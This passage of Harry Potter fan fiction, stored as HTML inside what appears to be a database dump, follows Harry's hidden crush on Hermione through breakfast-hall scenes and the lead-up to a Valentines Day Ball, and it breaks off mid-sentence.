hip. She sighed lazily, leaned toward him, and rested her head on his shoulder.</p>\n\n<p>\n\n</p>\n\n<p>&#8220;You don&#8217;t mind, do you Harry?&#8221; said Hermione sleepily. Harry couldn&#8217;t see her eyes, but he was pretty sure that they were drooping.</p>\n\n<p>&#8220;No, I don&#8217;t mind,&#8221; said Harry, his voice a little higher than usual. &#8220;I don&#8217;t mind at all&#8230;&#8221;</p>\n\n<p>He felt the same tingling sensation course through his body. The height was perfect for her to rest her head on his shoulder and it fit perfectly into the spot like a piece of a puzzle. He could have sworn he felt Hermione snuggle closer to him; her bushy hair just grazing his face.</p>\n\n<p>&#8220;I&#8217;m so tired&#8230;&#8221; she whispered, more to herself than anything. Harry felt her close her eyes and gulped again, just as he caught Hedwig&#8217;s eye. She had watched everything and there was an amused expression on her face. </p>\n\n<p>&#8220;Giving up are we Harry?&#8221; hooted Hedwig, smiling knowingly at Harry. &#8220;I&#8217;ll leave you two alone then.&#8221; And before he could answer, she spread her wings and swooped out of the Great Hall, making a rush of wind sweep at Harry and Hermione, brushing some hair out of her face. Hermione seemed indifferent about Hedwig&#8217;s departure and decided to snuggle in response.</p>\n\n<p>&#8220;Mmm&#8230;&#8221; he heard her say.</p>\n\n<p>Harry looked down at her again. Her breathing was slow and deep, like she was trying to fall asleep. It felt so right&#8230; so perfect&#8230;</p>\n\n<p>He could feel eyes upon the pair of them and quickly glanced around the Great Hall. Sure enough there were eyes from all around the other house tables piercing in their direction. Some of them (most of them girls) were giggling and whispering behind their hands. Others looked to have an amused expression while others looked indifferent.</p>\n\n<p>Harry chose to ignore them, but he liked the attention he and Hermione were getting. He betted it looked so cute seeing the two of them sitting there alone with Hermione resting her head on Harry&#8217;s shoulder. He wondered what they all were thinking. Like they were boyfriend and girlfriend&#8230;</p>\n\n<p>He shook his head out of his trance, pushed away his bowl of cereal, and grabbed <i>Secrets of Potions: Made Easy</i> to occupy himself, from the staring eyes. As much as he wanted to go out with Hermione, she wasn&#8217;t his girlfriend and she never was. He grinned; he remembered telling people time and time again in fourth year that Hermione wasn&#8217;t his girlfriend. Now he wished he hadn&#8217;t said anything at all. He could feel someone walking toward them.</p>\n\n<p>&#8220;Hi Harry,&#8221; said Rachel. She had made her way from the Ravenclaw table and sat across them in in their secluded area. The closest student was about ten feet away. She looked like she was one of the girls that were amused, but not giggling. Harry put a forefinger to his lips.</p>\n\n<p>&#8220;She&#8217;s sleeping,&#8221; whispered Harry, motioning toward Hermione. He could feel her body rise and fall with every breath. He saw Rachel glance at Hermione and smile.</p>\n\n<p>&#8220;You two are so cute,&#8221; she said, smiling in a way a girl would if she saw something cute. Harry turned to his book, hoping that she didn&#8217;t see the heat rise in his face. &#8220;Have you seen Ronald?&#8221;</p>\n\n<p>&#8220;Still sleeping I think,&#8221; said Harry, half glancing at her from his book, still aware of the heat in his face. </p>\n\n<p>&#8220;Mind if I ask you something?&#8221; asked Rachel, leaning closer over the table, making sure that no one in the vicinity could hear.</p>\n\n<p>&#8220;Sure,&#8221; said Harry, looking up from <i>Secrets of Potions: Made Easy. </i></p><i>\n\n</i>\n\n<p>&#8220;You remember when I asked you who you wanted to take to the Valentines Ball?&#8221; whispered Rachel, glancing at Hermione to make sure she hadn&#8217;t woken up. Hermione slept peacefully, her breathing low and soft. Harry nodded.</p>\n\n<p>&#8220;Who <i>did</i> you want to take, Harry?&#8221; asked Rachel, though she looked as though she knew the answer.</p>\n\n<p>He blinked. It believed that it was just Hedwig who knew his secret crush on Hermione. He had never thought of telling anyone else, but everyone else was also staring at them in the Great Hall. Harry hesitated to tell Rachel.</p>\n\n<p>&#8220;I won&#8217;t say anything,&#8221; said Rachel, reading his expression perfectly. &#8220;I promise.&#8221;</p>\n\n<p>Harry sighed at her and gave a lop-sided smile. He looked at Hermione for a second then back at Rachel, gave a thought for another second and another final sigh, as if the take the anxiety away. &#8220;Her,&#8221; he mouthed, tilting his head ever so slightly to Hermione&#8217;s sleeping head.</p>\n\n<p>Rachel smiled, followed by a look of sympathy.</p>\n\n<p>&#8220;Oh, you poor thing!&#8221; sighed Rachel, looking very sorry for Harry. &#8220;It&#8217;s too bad Ernie already asked her&#8230;&#8221; Harry looked very sullen at those words and Rachel rushed to change the subject. &#8220;How long have you wanted to ask Hermione?&#8221;</p>\n\n<p>Harry opened his mouth to answer, but closed it almost as quickly. He was going to say that he wanted to go out with her two years ago, but thought better of it. He had shared a secret with Rachel, but he didn&#8217;t want to share the <i>entire </i>secret.</p>\n\n<p>&#8220;Recently,&#8221; lied Harry, turning back to his book to hide his blush. Hermione shifted in her position, but stayed asleep on his shoulder.</p>\n\n<p>&#8220;You better keep you&#8217;re eyes peeled though, Harry,&#8221; said Rachel, almost seriously this time but still in a low whisper. &#8220;I hear that there&#8217;s someone else out there that likes Hermione almost as much as you and Ernie do.&#8221;</p>\n\n<p>&#8220;Who!?&#8221; whispered Harry, taken aback by this new piece of information.</p>\n\n<p>&#8220;You know who I&#8217;m talking about Harry,&#8221; said Rachel incredulously. &#8220;If someone gave Hermione an expensive red dress, it&#8217;d be outrageous if he didn&#8217;t like her!&#8221;</p>\n\n<p>Harry&#8217;s insides grinned. Rachel was referring to him, though she had no idea. This also told him that his plan was working; nobody had figured out who gave Hermione that dress and he was grateful for that. He played along.</p>\n\n<p>&#8220;Right,&#8221; he said, trying his best to sound disappointed at the thought of another falling for Hermione. &#8220;I&#8217;ll keep an eye out&#8230;&#8221;</p>\n\n<p>&#8220;Anyway,&#8221; continued Rachel. &#8220;Still thinking of coming to the Ball?&#8221;</p>\n\n<p>&#8220;Maybe,&#8221; said Harry truthfully. &#8220;I guess maybe I should, seeing as I didn&#8217;t go to the last one, but then again, going without a date would be kind of awkward&#8230;&#8221;</p>\n\n<p>&#8220;You aren&#8217;t going to be the only one going without a date,&#8221; said Rachel, as if the thought were ludicrous. &#8220;I&#8217;m sure of it!&#8221;</p>\n\n<p>&#8220;I guess&#8230;&#8221; said Harry, half shrugging. &#8220;Looks like I got until the day of the Ball to decide then.&#8221;</p>\n\n<p>&#8220;Well good luck Harry,&#8221; said Rachel, standing up from her seat. &#8220;And I&#8217;m sorry about Hermione.&#8221; She looked very sorry for him again. Harry was getting used to the looks of pity he was getting. </p>\n\n<p>&#8220;Don&#8217;t be&#8230;&#8221;</p>\n\n<p>&#8220;And if it makes you feel any better,&#8221; whispered Rachel, &#8220;Hermione has said before that you&#8217;re very cute.&#8221;</p>\n\n<p>Harry suddenly didn&#8217;t feel that much tired anymore. Still tired, but not as much. He was certain that Rachel saw him blush this time.</p>\n\n<p>&#8220;Ernie is nothing compared to you,&#8221; said Rachel, dropping her voice so that she was sure only Harry could hear. &#8220;And you and Hermione would make a very perfect couple. But that&#8217;s our secret&#8230; &#8221;</p>\n\n<p>She left at the last of her words, leaving Harry to smile and fluster, while Hermione continued leaning against his shoulder, sleeping peacefully on his shoulder&#8230;</p>\n\n<p>Harry kept himself occupied and returned to <i>Secrets of Potions: Made Easy</i> looking and studying the potion he had told Hedwig about. He didn&#8217;t remember how long it was, but he was sure it had been at least half an hour Hermione slept on his shoulder. Students were filing in the Hall now, making it crowded and filling up the gaps between the students. It also became a lot noisier than one would expect for one to sleep. Harry could feel Hermione stir on his shoulder.</p>\n\n<p>&#8220;What&#8217;s going on,?&#8221; she said lazily, looking around the Hall at the commotion. She had retracted her head from Harry&#8217;s shoulder and stretched, making a cute soft groaning sound Harry had not heard before. They were still very close.</p>\n\n<p>&#8220;Good morning,&#8221; smiled Harry, looking away from his book to look at her.</p>\n\n<p>Hermione smiled back at him. &#8220;Sorry for using your shoulder as a pillow&#8230;&#8221;</p>\n\n<p>&#8220;I didn&#8217;t mind,&#8221; said Harry looking back at his book, not wanting her to see him blushing. He felt another figure approaching him and Hermione. It was Ron.</p>\n\n<p>&#8220;Morning you two,&#8221; he yawned, sitting opposite of the pair of them. He didn&#8217;t seem to notice at how close Harry and Hermione were, but Harry could&#8217;ve sworn Ron gave him a sly grin.</p>\n\n<p>&#8220;Hi Ron,&#8221; said Hermione sleepily.</p>\n\n<p>&#8220;Morning <i>Ronald</i>. Rachel was looking for you,&#8221; added Harry, matter-of-factly.</p>\n\n<p>&#8220;Really?&#8221; said Ron, his eyes lighting up. He seemed to be swelling suddenly with unseen energy.</p>\n\n<p>&#8220;She&#8217;s at the Ravenclaw table I think,&#8221; said Harry looking over his shoulder to confirm.</p>\n\n<p>&#8220;Thanks Harry!&#8221; exclaimed Ron, standing up from his seat as though it got hot and as quickly as he arrived, he was gone. </p>\n\n<p>Hermione giggled. &#8220;That boy is something else.&#8221;</p>\n\n<p>&#8220;Tell me about it,&#8221; replied Harry, automatically looking back at his book. Hermione smiled.</p>\n\n<p>&#8220;What are you reading?&#8221; she asked. &#8220;I always see you reading that book now.&#8221; She had scooted closer to Harry again, only instead of resting her head, she rested her chin instead in the edge of his shoulder. Harry reacted by turning toward her; she was looking at the book, keen to see what he found so interesting. Their lips were so close&#8230;</p>\n\n<p>Harry quickly turned back to the book and hoped that Hermione didn&#8217;t notice anything peculiar. He cleared his throat. &#8220;It&#8217;s this book Dan let me borrow.&#8221;</p>\n\n<p>&#8220;Gryffindor third year?&#8221; said Hermione.</p>\n\n<p>&#8220;That&#8217;s him,&#8221; said Harry, looking at the book but not reading any words, completely aware that Hermione still rested on his shoulder. &#8220;He and I had a talk because he needed advice about something and he let me borrow this book. He says that maybe there&#8217;s something in here that can help me.&#8221;</p>\n\n<p>&#8220;Help you with what?&#8221; asked Hermione, looking curious.</p>\n\n<p>&#8220;Whatever is said between me and him, stays between me and him,&#8221; said Harry grinning. He wasn&#8217;t about to tell her that he had come to him for love advice and to tell him that there was something in the book to help him with his love for Hermione.</p>\n\n<p>&#8220;Well that book must be interesting,&#8221; said Hermione sarcastically, &#8220;if it&#8217;s got <i>you </i>reading it all day.&#8221;</p>\n\n<p>&#8220;What are you saying about me?&#8221; said Harry in a mock hurt voice.</p>\n\n<p>&#8220;Nothing&#8230;&#8221; said Hermione playfully.</p>\n\n<p>Harry laughed and Hermione giggled to join him. There was another silence, broken by Hermione, her chin still planted to a spot on Harry&#8217;s shoulder.</p>\n\n<p>&#8220;I&#8217;m so sorry Harry&#8230;&#8221;</p>\n\n<p>&#8220;About what?&#8221;</p>\n\n<p>&#8220;About the way I was acting before. I was being so stupid and -&#8221;</p>\n\n<p>&#8220;You still on that? I said I forgave you.&#8221;</p>\n\n<p>&#8220;I know, but I still feel really terrible about it! I wish there was something I could do to make it all up to you!&#8221;</p>\n\n<p>&#8220;You could come with me instead of Ernie to the Ball,&#8221; said Harry in a whisper.</p>\n\n<p>&#8220;What?&#8221; asked Hermione, looking at him from his shoulder.</p>\n\n<p>&#8220;I said I&#8217;m just glad we&#8217;re back on good terms that&#8217;s all,&#8221; said Harry.</p>\n\n<p></p>\n\n<p></p>\n\n<b><p>A/N: I see that I can&#8217;t get some things past most of you. Some of you have quite possibly figured out what&#8217;s to happen in the further chapters. Let&#8217;s just say that there is a <i>reason </i>why I&#8217;m keeping Hermione from seeing Harry&#8217;s attempt to show her he likes her&#8230;</p>\n\n<p>Hope you guys like this chapter&#8230; you guys deserve some H/Hr interaction right?</p>\n\n</b>\n\n<b><p>Hope that many of you already seen the PoA movie!!! It&#8217;s Harry and Hermione&#8217;s movie!!! And on a more personal note, Emma Watson is very pretty&#8230; I may just have a small crush on her&#8230; ;P but anyway, she&#8217;s going to be a total hottie when she&#8217;s 18!!! Count on it!!</p>\n\n<p>And I dedicate this chapter to my girlfriend, Malia. I love her so much!!!</p></b></font>\n\n '),
	(169, 21, ' <b><font size="2"><p>Chapter 21 - Harry&#8217;s Date</p>\n\n</font></b><font size="2">\n\n<p>The next couple of weeks leading up to February seemed slow and somewhat unhappy. Harry had to endure watching Ernie &#8220;flaunt&#8221; his way around school, apparently proud that he was taking Hermione to the Valentines Day Ball. Ernie didn&#8217;t say anything specific, but they way he strutted along halls and held his head up high made Harry sick and want to puke.</p>\n\n<p>Harry went through the next few weeks trying his best not to look to disappointed with the fact that he wasn&#8217;t going to attend the Ball with Hermione, let alone hide the fact that he had a crush on her. Hedwig seemed furious with him about his decision. She would answer him with one liners and she was a little curt sometimes, but not entirely friendly.</p>\n\n<p>Between walking through classes, several students looked his way, with the expression that Harry had now grown to hate: pity. He hated people look at him like he was vulnerable and helpless, it made him look small and weak. Not that it wasn&#8217;t <i>exactly </i>the way he was feeling, but the thought that everyone in school had thought he felt that way was another thing that made Harry furious.</p>\n\n<p>In classes, Harry sat between Ron and Hermione, and every so often, Harry fought the urge to compliment something about Hermione. He fought the urge to be <i>extra </i>nice to her. He fought the urge to show that he loved her. He fought the urges to keep <i>looking </i>at her. All he could do was act as the <i>friend </i>he always was&#8230;</p>\n\n<p>For some reason, when an event in the future that is not really looked forward to, and that you feel it should never come, time seems to move a lot quicker toward that event. Harry knew the feeling; he had felt it during the times in fourth year when he had to prepare for one of the three tasks. Before he knew it, January was gone and February was here.</p>\n\n<p>The school made it an effort to make Harry feel a lot better about the upcoming Valentines Ball. There were decorations of pink, red, and white all over the school, every single teacher had a parchment (or maybe even four) posted somewhere in their classroom, counting down and reminding students how many days were left until the Ball, and there were cherubs floating above the corridors of the school, sprinkling the students with Valentine colored confetti when ever they got the chance. Harry had never felt so disgusted with February in his life.</p>\n\n<p>He had grown to like Valentines Day the previous two years; he remembered vividly the bouquet of flowers with an enchanted rose he gave Hermione two years ago and the larger than life rose he gave her just last year. By now, Harry had run out of ideas. After all, he had given up on showing her how much he loved her, so if he was going to give her something, it would have to be small.</p>\n\n<p>As the Valentines Day Ball got closer and closer (as reminded by those <i>wonderful </i>parchments now posted in the corridors) the anticipation and talk grew with it.</p>\n\n<p>&#8220;Who are you going with Harry?&#8221; asked Ron interestingly, when he, Harry, and Rachel were sitting as a group in the Great Hall during lunch. Harry saw Rachel give him another look of pity. Ron didn&#8217;t notice.</p>\n\n<p>&#8220;I&#8217;m working on it,&#8221; lied Harry. He had already decided; if he wasn&#8217;t going with Hermione, he wasn&#8217;t going with anybody else. He didn&#8217;t seem to be paying any particular attention to anything but he found the food on his plate to be interesting.</p>\n\n<p>\n\n</p>\n\n<p>&#8220;Are you still going even if you don&#8217;t find a date?&#8221; added Rachel tentatively. She was looking at Harry anxiously and he read her face.</p>\n\n<p>&#8220;Yes, I&#8217;m still going,&#8221; said Harry, a knowing twinkle in his eye that only Rachel could read because she knew what was going on with him and his situation.</p>\n\n<p>&#8220;Of course he&#8217;s going to get a date,&#8221; said Ron impatiently rounding on Rachel. &#8220;Who <i>wouldn&#8217;t </i>want to go with Harry to the Ball? Girls were asking him all over the place for the Yule Ball!&#8221; </p>\n\n<p>&#8220;Hermione doesn&#8217;t want to go with me,&#8221; said Harry in an undertone, fingering his fork.</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&#8220;Nothing&#8230;&#8221;</p>\n\n<p>Harry tried to ignore him; he didn&#8217;t want to think about anything that had to do with dancing or asking girls about something. Someone caught his attention: Hermione had just pushed open the doors of the Great Hall and was walking toward them</p>\n\n<p>&#8220;Hi Hermione,&#8221; said Harry, as she sat down next to him to join the group. He was pushing some of his food around his plate with his fork.</p>\n\n<p>&#8220;Are you feeling better?&#8221; she said, putting a hand on his shoulder, looking anxious and concerned.</p>\n\n<p>&#8220;A little bit,&#8221; said Harry lazily. &#8220;But I&#8217;ve still been tired these past few weeks.&#8221;</p>\n\n<p>&#8220;You need to rest!&#8221; Hermione said patiently. &#8220;It&#8217;s not good to run your body when it has no energy!&#8221;</p>\n\n<p>&#8220;I have energy,&#8221; yawned Harry, propping his head on his hand while his other hand continued to push around food on his plate. &#8220;Trust me, Hermione. I&#8217;m fine&#8230;&#8221;</p>\n\n<p>&#8220;If you say so&#8230;&#8221; said Hermione softly. She still looked anxious.</p>\n\n<p>&#8220;Hi Hermione,&#8221; said Rachel, as though she and Ron had just joined them by sitting across from her and Harry. </p>\n\n<p>&#8220;Hello Rachel,&#8221; smiled Hermione. &#8220;Hi Ron.&#8221;</p>\n\n<p>&#8220;Ello Er-my-knee,&#8221; said Ron, with a mouthful of some of his food he had stuffed in his mouth.</p>\n\n<p>&#8220;Are you sure you&#8217;re ok Harry?&#8221; said Hermione glancing at him. &#8220;You haven&#8217;t looked any better since I feel asleep at your shoulder! - Well, you have actually&#8230; but you still don&#8217;t look completely ok&#8230;&#8221;</p>\n\n<p>Harry grinned and after catching Rachel&#8217;s eye, she grinned to. Harry wasn&#8217;t about to tell Hermione that there was no way he was going to feel better in the next few days. The fact that he still felt the same way about her since about two years ago wasn&#8217;t helping making him feel any better. Plus the fact that he was now supposed to be <i>hiding </i>his feelings for her wasn&#8217;t helping. Add to his dismal feelings because of an approaching Ball, a <i>second one</i> nonetheless, that he wasn&#8217;t going to with Hermione, wasn&#8217;t helping either.</p>\n\n<p>&#8220;You feel asleep with your head on his shoulder?&#8221; coughed Ron in disbelief, somewhat choking on food. Rachel was hitting him on the back, though it looked like it wasn&#8217;t doing any good to help. When Ron had made sure he could breath properly, he took a breath and looked somewhat&#8230; amused. &#8220;When was this!?&#8221;</p>\n\n<p>&#8220;I didn&#8217;t do it on purpose!&#8221; exclaimed Hermione, as if she were pleading innocent for a crime she had done. Harry thought he was seeing things, but that almost did look like a blush to him. &#8220;I was tired!&#8221;</p>\n\n<p>Ron looked at Harry, then at Rachel, then back at Harry. He still had that amused expression plastered on his face.</p>\n\n<p>&#8220;So,&#8221; said Rachel, breaking the awkward silence, &#8220;are you ready for the Ball Hermione?&#8221;</p>\n\n<p>&#8220;Oh yes,&#8221; said Hermione, regaining her composure. &#8220;Ernie and I have coordinated our outfits. We&#8217;re going to match.&#8221;</p>\n\n<p>&#8220;I see,&#8221; said Rachel, glancing a look at Harry. He slumped in his chair and gave an inaudible sigh. It was the wrong thing to change the subject to.</p>\n\n<p>&#8220;I know you two are,&#8221; said Hermione, motioning to her and Ron. They merely shrugged and she turned to Harry. &#8220;What about you Harry? Are you ready?&#8221;</p>\n\n<p>&#8220;Absolutely,&#8221; said Harry, with a hint of sarcastic enthusiasm in his voice. &#8220;Can&#8217;t wait&#8230;&#8221;</p>\n\n<p>***</p>\n\n<p>The day that Harry had dreaded was finally here: The day of the Valentines Day Ball. The morning and afternoon went by expectantly fast and night time had approached; the Ball would start in about two hours.</p>\n\n<p>Harry dressed silently in his Head Boy room in front of a mirror. He wore some black cargo pants, a green dress shirt, and his elegant green robes that he used for the Yule Ball. He left his hair alone; he tried hopelessly to tame it and there was no way he was going to make it nice and tidy at the rate he was going. Plus there wasn&#8217;t anyone to impress anyway. He could hear footsteps outside his door which told him that some of the overly excited students were all heading down to the Great Hall, apparently eager to get to the Ball first. </p>\n\n<p>Hedwig stared and watched Harry dress. She had cooled down a bit, but she was still a bit resentful towards him. Harry didn&#8217;t care; as long as it wasn&#8217;t Hermione yelling at him, he didn&#8217;t care who it was.</p>\n\n<p>&#8220;You look fine Harry,&#8221; said Hedwig, from the top if his desk where she was watching. &#8220;Just try not to look so nervous.&#8221;</p>\n\n<p>&#8220;Me? Nervous?&#8221; squeaked Harry, looking into the mirror and adjusting his glasses, his voice a little higher than usual.</p>\n\n<p>&#8220;You&#8217;re shaking,&#8221; she apprehensively, flying and landing on top of his shoulder. &#8220;I can see you shivering from the desk and I can definitely feel you shaking too. What are you so nervous about?&#8221;</p>\n\n<p>&#8220;I really don&#8217;t feel like going anymore,&#8221; said Harry pathetically. &#8220;I don&#8217;t want spare the embarrassment&#8230;&#8221;</p>\n\n<p>&#8220;You didn&#8217;t go to the last one Harry,&#8221; said Hedwig patiently, her claws digging into Harry&#8217;s shoulders slightly to balance herself on his shaking shoulder. &#8220;Just go and have a good time.&#8221;</p>\n\n<p>&#8220;How can I have a good time?&#8221; asked Harry, almost hysterically. &#8220;I look terrible, Hermione doesn&#8217;t know I love her, and I don&#8217;t even have a date!&#8221;</p>\n\n<p>&#8220;You look handsome and you aren&#8217;t the only one going without a date,&#8221; said Hedwig softly. &#8220;I&#8217;m sure of it.&#8221;</p>\n\n<p>Harry was reminded of what Rachel had him in the Great Hall; it was the exact same thing.</p>\n\n<p>&#8220;About Hermione not knowing that you love her,&#8221; said Hedwig tentatively. &#8220;I&#8217;m&#8230; proud of you Harry&#8230;&#8221;</p>\n\n<p>Harry frowned at her through the mirror.</p>\n\n<p>&#8220;I still don&#8217;t agree with you giving up on Hermione!&#8221; added Hedwig, looking disappointed. &#8220;But I&#8217;m proud of the way you&#8217;ve been handling the situation. You haven&#8217;t been sulking as much as I thought you would&#8217;ve and I can see that you&#8217;re trying immensely to be as normal and calm as you can be. Other than the fact that you&#8217;ve just been looking very tired these past few weeks, Hermione on the other hand&#8230;&#8221;</p>\n\n<p>&#8220;What about her?&#8221;</p>\n\n<p>&#8220;&#8230;sees right through you Harry. She can tell something is wrong with you.&#8221;</p>\n\n<p>Harry&#8217;s face fell slightly.</p>\n\n<p>&#8220;I have a great feeling of admiration for you though, Harry,&#8221; said Hedwig, putting a comforting wing behind his head. &#8220;I&#8217;m still proud of you&#8230;&#8221;</p>\n\n<p> Harry smiled and stroked one of Hedwig&#8217;s wings. &#8220;Thanks&#8230;&#8221;</p>\n\n<p>***</p>\n\n<p>Harry walked down to the Great Hall, Hedwig perched firmly on his shoulder (she insisted on at least walking him), passing some of the other students who were apparently waiting for their dates or for more of their friends to join the group. Most of them looked very nice, sporting some sort of dress robe in some variation or color; there was even one boy who had almost the same shade of green as Harry&#8217;s dress robe. Harry paced down to the Great Hall, looking forward to how Hermione looked and suddenly feeling nervous at how his hair still stuck up at strange angles. Ron and Rachel in front of the Great Hall doors, waiting for him. </p>\n\n<p>\n\n</p>\n\n<p>&#8220;Hi Harry,&#8221; said Ron, clapping his hand on his back that made Hedwig lose her balance on Harry&#8217;s shoulder. He was wearing a reddish maroon colored dress robe it seemed to match perfectly with his red hair.</p>\n\n<p>&#8220;Hello Harry,&#8221; greeted Rachel with a wave. She was wearing a silvery looking dress robe that resembled the color Harry remembered when looking into a Pensieve, and her hair was braided into a ponytail. Harry smiled at her.</p>\n\n<p>&#8220;Hey Ron,&#8221; said Harry, &#8220;Evening Rachel.&#8221;</p>\n\n<p>&#8220;Awww, look at Hedwig,&#8221; she said, beaming up at her on Harry&#8217;s shoulder. She was always fond of Harry&#8217;s owl.</p>\n\n<p>&#8220;She accompanying you Harry?&#8221; asked Ron sarcastically, smiling at Hedwig.</p>\n\n<p>&#8220;Just thought she wanted to walk me down that&#8217;s all,&#8221; said Harry, now perching Hedwig on his arm, which was bent at the elbow and his fist near his stomach.</p>\n\n<p>&#8220;How would you know if she wanted to walk down with you?&#8221; asked Ron, somewhat incredulously. &#8220;You can&#8217;t talk to animals!&#8221;</p>\n\n<p>&#8220;Of course he can&#8217;t!&#8221; said an patient voice, from behind Harry. He turned around.</p>\n\n<p>It was Hermione accompanied arm in arm with Ernie MacMillian. She was wearing a very light, pinkish dress robe and the pink was so subtle and so light, Harry thought it was white at first glance. The pink matched the same color that was on her cheeks and her hair was down in very soft curls that cascaded just below her shoulders. She looked more beautiful than Harry had been expecting. She smiled at him.</p>\n\n<p>Ernie was wearing a white dress robe.</p>\n\n<p>&#8220;Hi Hermione,&#8221; said Harry, swallowing and trying not to sound like his breath was taken away too much. &#8220;You look beautiful.&#8221; She smiled and he could feel Hedwig hoot amusingly on his arm. &#8220;Hey Ernie.&#8221;</p>\n\n<p>&#8220;What&#8217;s up Harry,&#8221; he said, bowing his head politely. Harry still remembered the slight &#8220;rumor&#8221; Ernie had started, but understood that it wasn&#8217;t entirely his fault. It was no use being mad at him either; it wasn&#8217;t going to change Hermione accompanying him to the Ball, plus it would be just a waste of energy and anger.</p>\n\n<p>&#8220;Ok Hedwig, the five of us are going to go now,&#8221; hooted Harry toward her. He motioned to Hermione, Ron, Rachel, and Ernie. &#8220;Thanks for walking me.&#8221;</p>\n\n<p>&#8220;Ok Harry,&#8221; hooted Hedwig, nipping at his finger affectionately. &#8220;Please try to have fun?&#8221;</p>\n\n<p>&#8220;I will,&#8221; assured Harry, but how sure he didn&#8217;t know. He held out his arm to give Hedwig a footing and she spread her wings and took off in flight down the corridor and through the castle&#8217;s main door. Harry sighed to himself and he watched Hedwig disappear into the night.</p>\n\n<p>&#8220;You can talk to animals!&#8221; said Ron defiantly. He and the rest of them were all gazing where Hedwig had flown.</p>\n\n<p>&#8220;Of course he can&#8217;t,&#8221; said Hermione and Rachel patiently at the same time. Harry grinned.</p>\n\n<p>&#8220;Harry&#8217;s been hooting at Hedwig like that for years now,&#8221; explained Hermione, then turned to face him and said, &#8220;What do you call it Harry?&#8221; </p>\n\n<p>&#8220;Just a little thing she and I do,&#8221; said Harry, half shrugging. Ron had no idea how true his theory of him talking to animals was. True, he couldn&#8217;t talk to animals. Not <i>all </i>of them anyway; just one.</p>\n\n<p>&#8220;Let&#8217;s go then,&#8221; said Harry, feeling how stupid the five of them looked looking down a corridor at basically at nothing. He walked a few steps toward the entrance of the Great Hall, stopped, then turned around. Hermione, Ron, Rachel, and Ernie had not moved from their spots. They stood five feet from Harry; Hermione and Rachel were frowning at him while Ron and Ernie was staring with bemused expressions.</p>\n\n<p>&#8220;What?&#8221; he said, suddenly feeling self conscious.</p>\n\n<p>&#8220;Aren&#8217;t we going to wait for <i>your </i>date?&#8221; said Hermione tentatively.</p>\n\n<p>&#8220;Oh,&#8221; said Harry lamely. He had forgotten completely about it that it almost made him laugh. &#8220;I don&#8217;t have one,&#8221; he added shortly.</p>\n\n<p>&#8220;What?&#8221; whispered Hermione incredulously. She was looking at him with sincere sorrow. &#8220;Why not?&#8221;</p>\n\n<p>&#8220;I&#8230; couldn&#8217;t get one,&#8221; said Harry lamely. The four of them kept looking at him as if they had heard the most phenomenal news in years. Hermione let go of Ernie&#8217;s arm and approached Harry, turning their backs to Ron, Rachel, and Ernie..</p>\n\n<p>&#8220;What happened Harry?&#8221; asked Hermione in a whisper. She looked worried.</p>\n\n<p>&#8220;What do you mean, what happened?&#8221; said Harry, looking puzzled.</p>\n\n<p>&#8220;I thought you had a date?&#8221;</p>\n\n<p>&#8220;I didn&#8217;t say that,&#8221; answered Harry coolly. He wondered why it was such a big deal all of a sudden. &#8220;Why? Wondering who I might have been going with?&#8221;</p>\n\n<p>&#8220;It&#8217;s not that,&#8221; sighed Hermione and she truly looked it. &#8220;It&#8217;s just that all this time I thought you had a date.&#8221;</p>\n\n<p>&#8220;Why&#8217;s it so important anyway?&#8221; said Harry impatiently. &#8220;Since when was it such a big deal?&#8221;</p>\n\n<p>&#8220;It&#8217;s just that&#8230;&#8221; started Hermione. She sighed and closed her eyes for a second, as if thinking about what to say. &#8220;It&#8217;s just that I&#8217;ve been feeling really bad, you know, since our quarrel&#8230; I thought that maybe if a nice girl accompanied you to the Ball you might&#8230; relax a little.&#8221;</p>\n\n<p>She said those last words tentatively, afraid of the reaction Harry might give her. He blinked; Hermione sighed softly with relief.</p>\n\n<p>&#8220;You&#8217;ve been looking so worn down and tired lately,&#8221; she continued in a caring tone, &#8220;and I really wanted you to have some fun for a change. You deserve it.&#8221;</p>\n\n<p>&#8220;Hey Hermione,&#8221; sighed Harry softly. &#8220;I appreciate you thinking about me and all,&#8221; he said appreciatively, &#8220;but trust me, I&#8217;m fine.&#8221;</p>\n\n<p>&#8220;Are you sure?&#8221; asked Hermione. She still looked unnerved.</p>\n\n<p>&#8220;Positive,&#8221; assured Harry. &#8220;Thanks for caring, Hermione.&#8221;</p>\n\n<p>She smiled at him satisfactorily. &#8220;You didn&#8217;t get one?&#8221;</p>\n\n<p>&#8220;I didn&#8217;t get one,&#8221; Harry repeated, smiling comfortingly at her. </p>\n\n<p>Hermione still looked at him with the same sorrow look. &#8220;So why couldn&#8217;t you get one?&#8221;</p>\n\n<p>&#8220;The ones I asked were already taken,&#8221; lied Harry, feeling guilty. He wasn&#8217;t about to say, &#8220;I wanted to go with you but you were already taken and I didn&#8217;t want to go with anyone else besides you.&#8221;</p>\n\n<p>&#8220;You two finished over there?&#8221; said Ron&#8217;s impatient voice from behind them. Harry and Hermione turned around and saw Ron, indeed looking impatient, Rachel, still looking aghast that Harry had no date, and Ernie, looking very keen about what Harry was talking about with his date.</p>\n\n<p>&#8220;Let&#8217;s go then!&#8221; called Harry, motioning toward the door and added to Hermione, &#8220;Thanks again&#8221; in a whisper so that only she could hear him, smiled appreciatively and winked at her.</p>\n\n<p></p>\n\n<p>\n\n</p>\n\n</font>\n\n '),
	(169, 22, ' <b><font size="2"><p>Chapter 22 - The Valentines Day Ball</p>\n\n</font></b><font size="2">\n\n<p>The Great Hall was set up just like the Yule Ball was: the four house tables were gone, and filled with about 20 smaller rounder tables that looked to fit about 10 people. The only area unoccupied by tables was a square at the center of the Hall, which Harry assumed was for dancing. At the far end of the Hall where the staff table usually was, there was a stage and a group of 5 people made up of witches and wizards dressed in elegant robes, setting up instruments.</p>\n\n<p>Harry, Ron, Hermione, Rachel, and Ernie sat themselves at a table not to far from the dance floor, but not at a table that was on the outer edge of the hall. Harry felt somewhat grateful; it would be hard for people to spot him as the Hall got crowded. He sat between Ron and Hermione, their dates on the other side of them.</p>\n\n<p>&#8220;Looks pleasant enough,&#8221; said Ron absently, gazing around the Hall. Harry groaned.</p>\n\n<p>The Hall was still somewhat empty with a few students scattered here and there at tables. The Hall was decorated with banners that skirted the ceilings, magical colored chains that hung on the wall, and floating paper hearts that were in the same familiar red and pink that made Harry sick. Some cherubs were tossing confetti of the same color as they soared above students heads; some looked irritated, others beamed at them.</p>\n\n<p>The five of them sat comfortably at their table and others soon joined them. Dean Thomas sat down along with his date, Parvati Patil and Seamus Finnigan sat down, accompanying Lavender Brown. They all greeted each other and soon the table was filled with conversation. At one time when Harry wasn&#8217;t saying anything, he glanced round the table; Ron on his left, and his date 